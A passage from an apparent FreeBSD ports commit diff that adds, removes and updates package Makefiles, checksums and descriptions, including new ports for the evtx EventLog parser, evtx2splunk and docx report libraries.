(rust/crates/winapi-util-0.1.5.crate) = 70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178 +SIZE (rust/crates/winapi-util-0.1.5.crate) = 10164 +SHA256 (rust/crates/winapi-x86_64-pc-windows-gnu-0.4.0.crate) = 712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f +SIZE (rust/crates/winapi-x86_64-pc-windows-gnu-0.4.0.crate) = 2947998 +SHA256 (rust/crates/windows-sys-0.42.0.crate) = 5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7 +SIZE (rust/crates/windows-sys-0.42.0.crate) = 3006791 +SHA256 (rust/crates/windows_aarch64_gnullvm-0.42.1.crate) = 8c9864e83243fdec7fc9c5444389dcbbfd258f745e7853198f365e3c4968a608 +SIZE (rust/crates/windows_aarch64_gnullvm-0.42.1.crate) = 362795 +SHA256 (rust/crates/windows_aarch64_msvc-0.42.1.crate) = 4c8b1b673ffc16c47a9ff48570a9d85e25d265735c503681332589af6253c6c7 +SIZE (rust/crates/windows_aarch64_msvc-0.42.1.crate) = 664655 +SHA256 (rust/crates/windows_i686_gnu-0.42.1.crate) = de3887528ad530ba7bdbb1faa8275ec7a1155a45ffa57c37993960277145d640 +SIZE (rust/crates/windows_i686_gnu-0.42.1.crate) = 733428 +SHA256 (rust/crates/windows_i686_msvc-0.42.1.crate) = bf4d1122317eddd6ff351aa852118a2418ad4214e6613a50e0191f7004372605 +SIZE (rust/crates/windows_i686_msvc-0.42.1.crate) = 722583 +SHA256 (rust/crates/windows_x86_64_gnu-0.42.1.crate) = c1040f221285e17ebccbc2591ffdc2d44ee1f9186324dd3e84e99ac68d699c45 +SIZE (rust/crates/windows_x86_64_gnu-0.42.1.crate) = 697614 +SHA256 (rust/crates/windows_x86_64_gnullvm-0.42.1.crate) = 628bfdf232daa22b0d64fdb62b09fcc36bb01f05a3939e20ab73aaf9470d0463 +SIZE (rust/crates/windows_x86_64_gnullvm-0.42.1.crate) = 362788 +SHA256 (rust/crates/windows_x86_64_msvc-0.42.1.crate) = 447660ad36a13288b1db4d4248e857b510e8c3a225c822ba4fb748c0aafecffd +SIZE (rust/crates/windows_x86_64_msvc-0.42.1.crate) = 664606 +SHA256 (rust/crates/winstructs-0.3.0.crate) = 13eb723aae62864dbb48c23bd55a51be9c53a1880c7762805efdd62570c22acf +SIZE (rust/crates/winstructs-0.3.0.crate) = 13943 +SHA256 (rust/crates/yaml-rust-0.4.5.crate) = 56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85 +SIZE (rust/crates/yaml-rust-0.4.5.crate) = 47783 +SHA256 (rust/crates/yansi-0.5.1.crate) = 09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec +SIZE (rust/crates/yansi-0.5.1.crate) = 16525 +SHA256 (rust/crates/zeroize-1.5.7.crate) = c394b5bd0c6f669e7275d9c20aa90ae064cb22e75a1cad54e1b34088034b149f +SIZE (rust/crates/zeroize-1.5.7.crate) = 18861 +SHA256 (omerbenamram-evtx-v0.8.1_GH0.tar.gz) = a42133deecbe47ade28e14ed55e4e87a2c9b5d9400867eacec8b32070a2cd95e +SIZE (omerbenamram-evtx-v0.8.1_GH0.tar.gz) = 5844394 diff --git a/textproc/evtx/pkg-descr b/textproc/evtx/pkg-descr new file mode 100644 index 00000000000..4b4f424b196 --- /dev/null +++ b/textproc/evtx/pkg-descr @@ -0,0 +1,11 @@ +A cross-platform parser for the Windows XML EventLog format + +Features: + +- Implemented using 100% safe rust - and works on all platforms supported by + rust (that have stdlib). +- It's faster than any other implementation by order(s) of magnitude! +- Multi-threaded. +- Supports XML and JSON outputs, both being directly constructed from the token + tree and independent of each other (no xml2json conversion is performed!) +- Supports some basic recovery of missing records/chunks! diff --git a/textproc/ltxml/Makefile b/textproc/ltxml/Makefile deleted file mode 100644 index 9442658205d..00000000000 --- a/textproc/ltxml/Makefile +++ /dev/null @@ -1,40 +0,0 @@ -PORTNAME= ltxml -PORTVERSION= 1.2.9 -PORTREVISION= 1 -CATEGORIES= textproc -MASTER_SITES= GENTOO \ - ftp://ftp.cogsci.ed.ac.uk/pub/LTXML/ - -MAINTAINER= ports@FreeBSD.org -COMMENT= XML Toolkit -WWW= https://www.ltg.ed.ac.uk/software/ltxml/ - -LICENSE= GPLv2 - -BROKEN= unfetchable -EXPIRATION_DATE=2023-04-30 - -OPTIONS_DEFINE= OPTIMIZED_CFLAGS - -WRKSRC= ${WRKDIR}/${DISTNAME}/XML - -USES= gmake perl5 -GNU_CONFIGURE= yes -CONFIGURE_ARGS= --with-zlib=/usr --datadir=${STAGEDIR}${PREFIX}/lib/ltxml12 -# textproc/py-ltxml links libltapi12.a and libltstd12.a into a shared library. -CFLAGS+= -fPIC - -.include - -.if ${PORT_OPTIONS:MOPTIMIZED_CFLAGS} -CFLAGS+= -Wuninitialized -ffast-math -finline-functions \ - -fomit-frame-pointer -fexpensive-optimizations -O3 -.endif - -post-patch: - @${REINPLACE_CMD} -e 's|CFLAGS=.*$$|CFLAGS=\$$CFLAGS|g ; \ - s|CXXFLAGS=.*$$|CXXFLAGS=\$$CXXFLAGS|g' ${WRKSRC}/configure - @${REINPLACE_CMD} -e 's|@prefix@|${STAGEDIR}${PREFIX}|' \ - ${WRKSRC}/src/Makefile.sub.in - -.include diff --git a/textproc/ltxml/distinfo b/textproc/ltxml/distinfo deleted file mode 100644 index 31083a6413d..00000000000 --- a/textproc/ltxml/distinfo +++ /dev/null @@ -1,2 +0,0 @@ -SHA256 (ltxml-1.2.9.tar.gz) = bc28fcdf63be636e03076deeacba75255cd9281f40a3dfd65a8c04aa93242921 -SIZE (ltxml-1.2.9.tar.gz) = 304050 diff --git a/textproc/ltxml/pkg-descr b/textproc/ltxml/pkg-descr deleted file mode 100644 index 2c923c45215..00000000000 --- a/textproc/ltxml/pkg-descr +++ /dev/null @@ -1,22 +0,0 @@ -LT XML is an integrated set of XML tools and a developers' tool-kit, -including a C-based API. - -The LT XML tool-kit includes stand-alone tools for a wide range of -processing of well-formed XML documents, including searching and -extracting, down-translation (e.g. report generation, formatting), -tokenising and sorting. - -Sequences of tool applications can be pipelined together to achieve -complex results. - -For special purposes beyond what the pre-constructed tools can -achieve, extending their functionality and/or creating new tools -is easy using the LT XML API. Minimal applications require less -than one-half page of C code to express. - -LT XML provides two views of an XML file; one as a flat stream of -markup elements and text; a second as a sequence of tree-structured -XML elements. The two views can be mixed, allowing great flexibility -in the manipulation of XML documents. It also includes a powerful, -yet simple, querying language, which allows the user to quickly and -easily select those parts of an XML document which are of interest. diff --git a/textproc/ltxml/pkg-plist b/textproc/ltxml/pkg-plist deleted file mode 100644 index ef3a4f114b9..00000000000 --- a/textproc/ltxml/pkg-plist +++ /dev/null @@ -1,42 +0,0 @@ -include/ltxml12/charset.h -include/ltxml12/ctype16.h -include/ltxml12/hsregexp.h -include/ltxml12/lt-comment.h -include/ltxml12/lt-defs.h -include/ltxml12/lt-err.h -include/ltxml12/lt-errmsg.h -include/ltxml12/lt-hash.h -include/ltxml12/lt-memory.h -include/ltxml12/lt-rhash.h -include/ltxml12/lt-safe.h -include/ltxml12/lt-token.h -include/ltxml12/nsl-defs.h -include/ltxml12/nsl-err.h -include/ltxml12/nsl-errmsg.h -include/ltxml12/nsl.h -include/ltxml12/nslfunc.h -include/ltxml12/stdio16.h -include/ltxml12/string16.h -include/ltxml12/sys/ddb.h -include/ltxml12/sys/dtd.h -include/ltxml12/sys/http.h -include/ltxml12/sys/input.h -include/ltxml12/sys/lt-mttslib.h -include/ltxml12/sys/lt-sstring.h -include/ltxml12/sys/lt-umalloc.h -include/ltxml12/sys/namespaces.h -include/ltxml12/sys/nf16check.h -include/ltxml12/sys/nf16data.h -include/ltxml12/sys/nsl-ibit.h -include/ltxml12/sys/nsl-stack.h -include/ltxml12/sys/nslfile.h -include/ltxml12/sys/nslifunc.h -include/ltxml12/sys/nsllib.h -include/ltxml12/sys/query.h -include/ltxml12/sys/rxputil.h -include/ltxml12/sys/xmlparser.h -include/ltxml12/url.h -include/ltxml12/xmlconfig.h -lib/libltapi12.a -lib/libltstd12.a -lib/ltxml12/Makefile.usr diff --git a/textproc/opensearch-dashboards/Makefile b/textproc/opensearch-dashboards/Makefile index 892e1520f38..44f82e60a66 100644 --- a/textproc/opensearch-dashboards/Makefile +++ b/textproc/opensearch-dashboards/Makefile @@ -1,7 +1,7 @@ PORTNAME= opensearch-dashboards DISTVERSION= 2.6.0 -PORTREVISION= 1 DISTVERSIONSUFFIX= -linux-x64 +PORTREVISION= 2 CATEGORIES= textproc www MASTER_SITES= https://artifacts.opensearch.org/releases/bundle/${PORTNAME}/${DISTVERSION}/ @@ -12,14 +12,11 @@ WWW= https://opensearch.org LICENSE= APACHE20 LICENSE_FILE= ${WRKSRC}/LICENSE.txt -DEPRECATED= Requires upstream EOL node14 -EXPIRATION_DATE= 2023-05-26 - -BUILD_DEPENDS= npm-node14>0:www/npm-node14 +BUILD_DEPENDS= npm-node16>0:www/npm-node16 CONFLICTS= opensearch-dashboard13 -USES= nodejs:14,build,run python:build +USES= nodejs:16,build,run python:build USE_RC_SUBR= ${PORTNAME} WRKSRC= ${WRKDIR}/${PORTNAME}-${PORTVERSION} @@ -29,7 +26,7 @@ OPTIONS_DEFINE= CHROME CHROME_DESC= Add dependency on www/chromium (required for PDF reports) CHROME_RUN_DEPENDS=chrome:www/chromium -NODE_VER= 14.21.1 +NODE_VER= 16.20.0 _DEVDIR= ${WRKDIR}/.devdir diff --git a/textproc/pdfsandwich/Makefile b/textproc/pdfsandwich/Makefile index b07facc46d1..43b88e30fce 100644 --- a/textproc/pdfsandwich/Makefile +++ b/textproc/pdfsandwich/Makefile @@ -1,6 +1,6 @@ PORTNAME= pdfsandwich DISTVERSION= 0.1.7 -PORTREVISION= 36 +PORTREVISION= 37 CATEGORIES= textproc MASTER_SITES= SF/${PORTNAME}/pdfsandwich%20${DISTVERSION}/ diff --git a/textproc/py-docx-generator/Makefile b/textproc/py-docx-generator/Makefile new file mode 100644 index 00000000000..b17c63efc53 --- /dev/null +++ b/textproc/py-docx-generator/Makefile @@ -0,0 +1,29 @@ +PORTNAME= docx-generator +PORTVERSION= 0.8.0 +CATEGORIES= textproc python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Tool to generate docx report from docx template and json data +WWW= https://github.com/dfir-iris/docx-generator + +LICENSE= LGPL3 + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}Jinja2>0:devel/py-Jinja2@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}docxcompose>0:textproc/py-docxcompose@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}docxtpl>0:textproc/py-docxtpl@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}python-docx>0:textproc/py-python-docx@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}mistletoe>0:textproc/py-mistletoe@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}markupsafe>0:textproc/py-markupsafe@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_PROJECT= ${PORTNAME} +GH_TAGNAME= 6b2d68f2ea8b34daac76bd399b083d5e85eee23b + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/textproc/py-docx-generator/distinfo b/textproc/py-docx-generator/distinfo new file mode 100644 index 00000000000..a1506a7d940 --- /dev/null +++ b/textproc/py-docx-generator/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682838277 +SHA256 (dfir-iris-docx-generator-0.8.0-6b2d68f2ea8b34daac76bd399b083d5e85eee23b_GH0.tar.gz) = 5608f69a0d37629dc9a3ac91d77b31e19bd29d382149fd916de5317ed3099549 +SIZE (dfir-iris-docx-generator-0.8.0-6b2d68f2ea8b34daac76bd399b083d5e85eee23b_GH0.tar.gz) = 6352886 diff --git a/textproc/py-docx-generator/pkg-descr b/textproc/py-docx-generator/pkg-descr new file mode 100644 index 00000000000..764ca15e120 --- /dev/null +++ b/textproc/py-docx-generator/pkg-descr @@ -0,0 +1 @@ +Tool to generate docx report from docx template and json data diff --git a/textproc/py-docxcompose/Makefile b/textproc/py-docxcompose/Makefile new file mode 100644 index 00000000000..8c82203e3c6 --- /dev/null +++ b/textproc/py-docxcompose/Makefile @@ -0,0 +1,23 @@ +PORTNAME= docxcompose +PORTVERSION= 1.4.0 +CATEGORIES= textproc python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Python library for concatenating/appending Microsoft Word files. +WWW= https://github.com/4teamwork/docxcompose + +LICENSE= MIT + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}lxml>=3.3.4:devel/py-lxml@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}python-docx>0:textproc/py-python-docx@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}six>0:devel/py-six@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}Babel>0:devel/py-babel@${PY_FLAVOR} + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/textproc/py-docxcompose/distinfo b/textproc/py-docxcompose/distinfo new file mode 100644 index 00000000000..2d26cba3d86 --- /dev/null +++ b/textproc/py-docxcompose/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682816074 +SHA256 (docxcompose-1.4.0.tar.gz) = bcf2799a0b63c29eb77a3d799a2f28443ae0f69f8691ff3d753f706be515c3e9 +SIZE (docxcompose-1.4.0.tar.gz) = 20219 diff --git a/textproc/py-docxcompose/pkg-descr b/textproc/py-docxcompose/pkg-descr new file mode 100644 index 00000000000..ba76f865903 --- /dev/null +++ b/textproc/py-docxcompose/pkg-descr @@ -0,0 +1,2 @@ +docxcompose is a Python library for concatenating/appending Microsoft Word +(.docx) files. diff --git a/textproc/py-docxtpl/Makefile b/textproc/py-docxtpl/Makefile new file mode 100644 index 00000000000..7f4d07044f0 --- /dev/null +++ b/textproc/py-docxtpl/Makefile @@ -0,0 +1,23 @@ +PORTNAME= docxtpl +PORTVERSION= 0.16.6 +CATEGORIES= textproc python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Python docx template engine +WWW= https://github.com/elapouya/python-docx-template + +LICENSE= LGPL21 + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}lxml>=3.3.4:devel/py-lxml@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}python-docx>0:textproc/py-python-docx@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}six>0:devel/py-six@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}Jinja2>0:devel/py-Jinja2@${PY_FLAVOR} + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/textproc/py-docxtpl/distinfo b/textproc/py-docxtpl/distinfo new file mode 100644 index 00000000000..1f95fea2da6 --- /dev/null +++ b/textproc/py-docxtpl/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682829200 +SHA256 (docxtpl-0.16.6.tar.gz) = c5938dd891bf13958dd5dfd513816c688999060f037c316756a005cdebf9a322 +SIZE (docxtpl-0.16.6.tar.gz) = 29991 diff --git a/textproc/py-docxtpl/pkg-descr b/textproc/py-docxtpl/pkg-descr new file mode 100644 index 00000000000..bf628132670 --- /dev/null +++ b/textproc/py-docxtpl/pkg-descr @@ -0,0 +1,12 @@ +python-docx-template has been created because python-docx is powerful for +creating documents but not for modifying them. + +The idea is to begin to create an example of the document you want to generate +with microsoft word, it can be as complex as you want: pictures, index tables, +footer, header, variables, anything you can do with word. Then, as you are +still editing the document with microsoft word, you insert jinja2-like tags +directly in the document. You save the document as a .docx file (xml format). +it will be your .docx template file. + +Now you can use python-docx-template to generate as many word documents you +want from this .docx template and context variables you will associate. diff --git a/textproc/py-evtx2splunk/Makefile b/textproc/py-evtx2splunk/Makefile new file mode 100644 index 00000000000..fd916b2a396 --- /dev/null +++ b/textproc/py-evtx2splunk/Makefile @@ -0,0 +1,34 @@ +PORTNAME= evtx2splunk +PORTVERSION= 2.0.1 +CATEGORIES= textproc python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Evtx to Splunk ingestor +WWW= https://github.com/whikernel/evtx2splunk + +LICENSE= MIT + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}certifi>0:security/py-certifi@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}chardet>0:textproc/py-chardet@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}idna>0:dns/py-idna@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}python-dotenv>0:www/py-python-dotenv@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}requests>0:www/py-requests@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}semantic-version>0:devel/py-semantic-version@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}urllib3>0:net/py-urllib3@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}toml>0:textproc/py-toml@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}tqdm>0:misc/py-tqdm@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}splunk-hec>0:textproc/py-splunk-hec@${PY_FLAVOR} \ + fd-find>0:sysutils/fd \ + evtx>0:textproc/evtx + +USE_GITHUB= yes +GH_ACCOUNT= whikernel +GH_TAGNAME= 12bfda6cdd83ae392df9303d0140a2eaa936a62f + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/textproc/py-evtx2splunk/distinfo b/textproc/py-evtx2splunk/distinfo new file mode 100644 index 00000000000..3ad4744a248 --- /dev/null +++ b/textproc/py-evtx2splunk/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682884324 +SHA256 (whikernel-evtx2splunk-2.0.1-12bfda6cdd83ae392df9303d0140a2eaa936a62f_GH0.tar.gz) = a203a63d063d004975ac5d928030188501e119bc63dc6f995644f9aa1577a36c +SIZE (whikernel-evtx2splunk-2.0.1-12bfda6cdd83ae392df9303d0140a2eaa936a62f_GH0.tar.gz) = 7116809 diff --git a/textproc/py-evtx2splunk/pkg-descr b/textproc/py-evtx2splunk/pkg-descr new file mode 100644 index 00000000000..805459be117 --- /dev/null +++ b/textproc/py-evtx2splunk/pkg-descr @@ -0,0 +1,22 @@ +Ingest EVTX files into a Splunk instance. + +This tool is based on the work of : + +Omer BenAmram +Blardy +Thanks to Ekto for its contribution. + +Key features: + +- Splunk HEC support with token auto-creation +- Splunk index auto-creation +- Multiprocessing support +- Caching for evtx reuse without reconverting +- Windows and Linux compatibility +- Rely on the great and fast evtx_dump Rust tool of Omer +- Evtx message resolutions from database + +Note: evtx2splunk converts the EVTX to JSON and stores them in a temporary +place. Hence, up to the size of source EVTX can be created during the process. +These files are removed at the end of the process, except if keep_cache is +enabled. diff --git a/textproc/py-mkdocs-material/Makefile b/textproc/py-mkdocs-material/Makefile index 5b32a8bbe0f..719976cd543 100644 --- a/textproc/py-mkdocs-material/Makefile +++ b/textproc/py-mkdocs-material/Makefile @@ -1,5 +1,5 @@ PORTNAME= mkdocs-material -DISTVERSION= 9.1.6 +DISTVERSION= 9.1.8 CATEGORIES= textproc python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/textproc/py-mkdocs-material/distinfo b/textproc/py-mkdocs-material/distinfo index bfbe211a78f..1152246ad33 100644 --- a/textproc/py-mkdocs-material/distinfo +++ b/textproc/py-mkdocs-material/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681390779 -SHA256 (mkdocs_material-9.1.6.tar.gz) = 2e555152f9771646bfa62dc78a86052876183eff69ce30db03a33e85702b21fc -SIZE (mkdocs_material-9.1.6.tar.gz) = 3641031 +TIMESTAMP = 1682783027 +SHA256 (mkdocs_material-9.1.8.tar.gz) = 616ef98fc143b3ec8c559e2fec85f32103d2093e9c88333964d93105ea2d670b +SIZE (mkdocs_material-9.1.8.tar.gz) = 3643584 diff --git a/textproc/py-splunk-hec/Makefile b/textproc/py-splunk-hec/Makefile new file mode 100644 index 00000000000..a47daa6f4b2 --- /dev/null +++ b/textproc/py-splunk-hec/Makefile @@ -0,0 +1,24 @@ +PORTNAME= splunk-hec +PORTVERSION= 1.81 +CATEGORIES= textproc python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Python class to submit events to Splunk HTTP Event Collector +WWW= https://github.com/georgestarcher/Splunk-Class-httpevent + +LICENSE= MIT + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}requests>0:www/py-requests@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= georgestarcher +GH_PROJECT= Splunk-Class-httpevent +GH_TAGNAME= b1b7aae37bc73ea6e89c4a4667c4d8d227804546 + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/textproc/py-splunk-hec/distinfo b/textproc/py-splunk-hec/distinfo new file mode 100644 index 00000000000..54b24771de6 --- /dev/null +++ b/textproc/py-splunk-hec/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682885917 +SHA256 (georgestarcher-Splunk-Class-httpevent-1.81-b1b7aae37bc73ea6e89c4a4667c4d8d227804546_GH0.tar.gz) = 1c817e8d8383a360d05458c27b37d055c4afdcd1f60b843ef7c1ef9be2cfc3b7 +SIZE (georgestarcher-Splunk-Class-httpevent-1.81-b1b7aae37bc73ea6e89c4a4667c4d8d227804546_GH0.tar.gz) = 8804 diff --git a/textproc/py-splunk-hec/pkg-descr b/textproc/py-splunk-hec/pkg-descr new file mode 100644 index 00000000000..cc55d90977f --- /dev/null +++ b/textproc/py-splunk-hec/pkg-descr @@ -0,0 +1,7 @@ +This is a python class file for use with other python scripts to send events to +a Splunk http event collector. + +Supported products: + +Splunk v6.3.X+ +Splunk v6.4.X+ for the raw input option diff --git a/textproc/py-wordcloud/Makefile b/textproc/py-wordcloud/Makefile index dea8f36cf91..f73d1512afb 100644 --- a/textproc/py-wordcloud/Makefile +++ b/textproc/py-wordcloud/Makefile @@ -1,6 +1,5 @@ PORTNAME= wordcloud -DISTVERSION= 1.8.2.2 -PORTREVISION= 1 +DISTVERSION= 1.9.1.1 CATEGORIES= textproc python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/textproc/py-wordcloud/distinfo b/textproc/py-wordcloud/distinfo index 07cf2bd6267..91edff9e85e 100644 --- a/textproc/py-wordcloud/distinfo +++ b/textproc/py-wordcloud/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1657284656 -SHA256 (wordcloud-1.8.2.2.tar.gz) = 523db887e47e840eb5c2e60428243bb1d7439fdc60f89626b17bafa1be64459c -SIZE (wordcloud-1.8.2.2.tar.gz) = 220817 +TIMESTAMP = 1682671746 +SHA256 (wordcloud-1.9.1.1.tar.gz) = c0e2c53c59f6797d2cefc7365dc03fa6c9005eab3d2b02fba542e4971689141e +SIZE (wordcloud-1.9.1.1.tar.gz) = 222783 diff --git a/textproc/qr/Makefile b/textproc/qr/Makefile index b18bd684989..128b9f4fe48 100644 --- a/textproc/qr/Makefile +++ b/textproc/qr/Makefile @@ -1,5 +1,6 @@ PORTNAME= qr DISTVERSION= g20200216 +PORTREVISION= 1 CATEGORIES= textproc graphics MAINTAINER= lcook@FreeBSD.org diff --git a/textproc/vale/Makefile b/textproc/vale/Makefile index 3c49123be76..88f48378a30 100644 --- a/textproc/vale/Makefile +++ b/textproc/vale/Makefile @@ -1,6 +1,6 @@ PORTNAME= vale DISTVERSIONPREFIX= v -DISTVERSION= 2.25.1 +DISTVERSION= 2.25.2 CATEGORIES= textproc MAINTAINER= bofh@FreeBSD.org diff --git a/textproc/vale/distinfo b/textproc/vale/distinfo index 3a2ba01b7b9..d02d0b609be 100644 --- a/textproc/vale/distinfo +++ b/textproc/vale/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1682620582 -SHA256 (go/textproc_vale/vale-v2.25.1/v2.25.1.mod) = 09fa30d3327d4ce02c16d0d3f6d2ae4ebc122c85e37d9fa5b621827e0ffc2e39 -SIZE (go/textproc_vale/vale-v2.25.1/v2.25.1.mod) = 2437 -SHA256 (go/textproc_vale/vale-v2.25.1/v2.25.1.zip) = cbfd02e105eb344a780eb5bfdb55ad68567074465ddfd10b0552a5f8ceef5456 -SIZE (go/textproc_vale/vale-v2.25.1/v2.25.1.zip) = 10038957 +TIMESTAMP = 1682786427 +SHA256 (go/textproc_vale/vale-v2.25.2/v2.25.2.mod) = 09fa30d3327d4ce02c16d0d3f6d2ae4ebc122c85e37d9fa5b621827e0ffc2e39 +SIZE (go/textproc_vale/vale-v2.25.2/v2.25.2.mod) = 2437 +SHA256 (go/textproc_vale/vale-v2.25.2/v2.25.2.zip) = 93e6945ba0591c9e7810dac9fb2409bfb83ffe9a15f924831a0b8aa4c835b165 +SIZE (go/textproc_vale/vale-v2.25.2/v2.25.2.zip) = 10038356 diff --git a/textproc/xalan-c/Makefile b/textproc/xalan-c/Makefile index 983c93aadc7..1099d59e74f 100644 --- a/textproc/xalan-c/Makefile +++ b/textproc/xalan-c/Makefile @@ -1,16 +1,19 @@ PORTNAME= xalan-c PORTVERSION= 1.12 -PORTREVISION= 6 +PORTREVISION= 7 CATEGORIES= textproc MASTER_SITES= APACHE/xalan/xalan-c/sources DISTNAME= xalan_c-${PORTVERSION} -MAINTAINER= rleigh@apache.org +MAINTAINER= rleigh@codelibre.net COMMENT= XSLT processor from the Apache XML Project WWW= https://apache.github.io/xalan-c/ LICENSE= APACHE20 +DEPRECATED= Upstream no longer continuing; please consider textproc/libxslt, textproc/qt5-xmlpatterns or SaxonC as potential alternatives +EXPIRATION_DATE= 2023-10-28 + LIB_DEPENDS= libxerces-c.so:textproc/xerces-c3 USES= cmake compiler:c++11-lang diff --git a/www/Makefile b/www/Makefile index 3733c9dd11f..9a5b17f956e 100644 --- a/www/Makefile +++ b/www/Makefile @@ -115,9 +115,6 @@ SUBDIR += dojo SUBDIR += dokuwiki SUBDIR += dolibarr - SUBDIR += dolibarr13 - SUBDIR += dolibarr14 - SUBDIR += dolibarr15 SUBDIR += dolibarr16 SUBDIR += domoticz SUBDIR += dooble @@ -414,7 +411,6 @@ SUBDIR += mongrel2 SUBDIR += monolith SUBDIR += moodle311 - SUBDIR += moodle39 SUBDIR += moodle40 SUBDIR += moodle41 SUBDIR += moodle42 diff --git a/www/castor/Makefile b/www/castor/Makefile index ecf520f04e2..9d7a1f7484b 100644 --- a/www/castor/Makefile +++ b/www/castor/Makefile @@ -13,6 +13,8 @@ LICENSE= MIT LICENSE_FILE= ${WRKSRC}/LICENSE USES= cargo desktop-file-utils gnome ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Fails to detect OpenSSL 3.0.0 library USE_GNOME= cairo gdkpixbuf2 glib20 gtk30 CARGO_CRATES= aho-corasick-0.7.13 \ diff --git a/www/coppermine/Makefile b/www/coppermine/Makefile index 0e12e41dd90..a5d6a4c2abb 100644 --- a/www/coppermine/Makefile +++ b/www/coppermine/Makefile @@ -1,5 +1,6 @@ PORTNAME= coppermine PORTVERSION= 1.6.25 +PORTREVISION= 1 DISTVERSIONPREFIX= v CATEGORIES= www diff --git a/www/cpp-httplib/Makefile b/www/cpp-httplib/Makefile index 9f3f582d6a5..f061f264044 100644 --- a/www/cpp-httplib/Makefile +++ b/www/cpp-httplib/Makefile @@ -1,6 +1,6 @@ PORTNAME= cpp-httplib DISTVERSIONPREFIX= v -DISTVERSION= 0.12.2 +DISTVERSION= 0.12.3 CATEGORIES= www devel MAINTAINER= yuri@FreeBSD.org diff --git a/www/cpp-httplib/distinfo b/www/cpp-httplib/distinfo index 24d46fbcc95..0105908510c 100644 --- a/www/cpp-httplib/distinfo +++ b/www/cpp-httplib/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1679875210 -SHA256 (yhirose-cpp-httplib-v0.12.2_GH0.tar.gz) = a7897d052de8fae75817e7a261ae37b89dc4cb8ac74b74458a1f2d2e707cfd03 -SIZE (yhirose-cpp-httplib-v0.12.2_GH0.tar.gz) = 638460 +TIMESTAMP = 1682874680 +SHA256 (yhirose-cpp-httplib-v0.12.3_GH0.tar.gz) = 175ced3c9cdaf221e9edf210297568d8f7d402a41d6db01254ac9e0b25487c54 +SIZE (yhirose-cpp-httplib-v0.12.3_GH0.tar.gz) = 639107 diff --git a/www/dolibarr13/Makefile b/www/dolibarr13/Makefile deleted file mode 100644 index 47c0bc3359d..00000000000 --- a/www/dolibarr13/Makefile +++ /dev/null @@ -1,41 +0,0 @@ -PORTNAME= dolibarr -DISTVERSION= 13.0.5 -CATEGORIES= www finance -PKGNAMESUFFIX= 13 - -MAINTAINER= acm@FreeBSD.org -COMMENT= Modern software package to manage your company or foundation -WWW= https://www.dolibarr.org/ - -DEPRECATED= No support PHP >= 8.x -EXPIRATION_DATE=2023-04-30 - -LICENSE= GPLv3 - -USE_GITHUB= yes -GH_ACCOUNT= 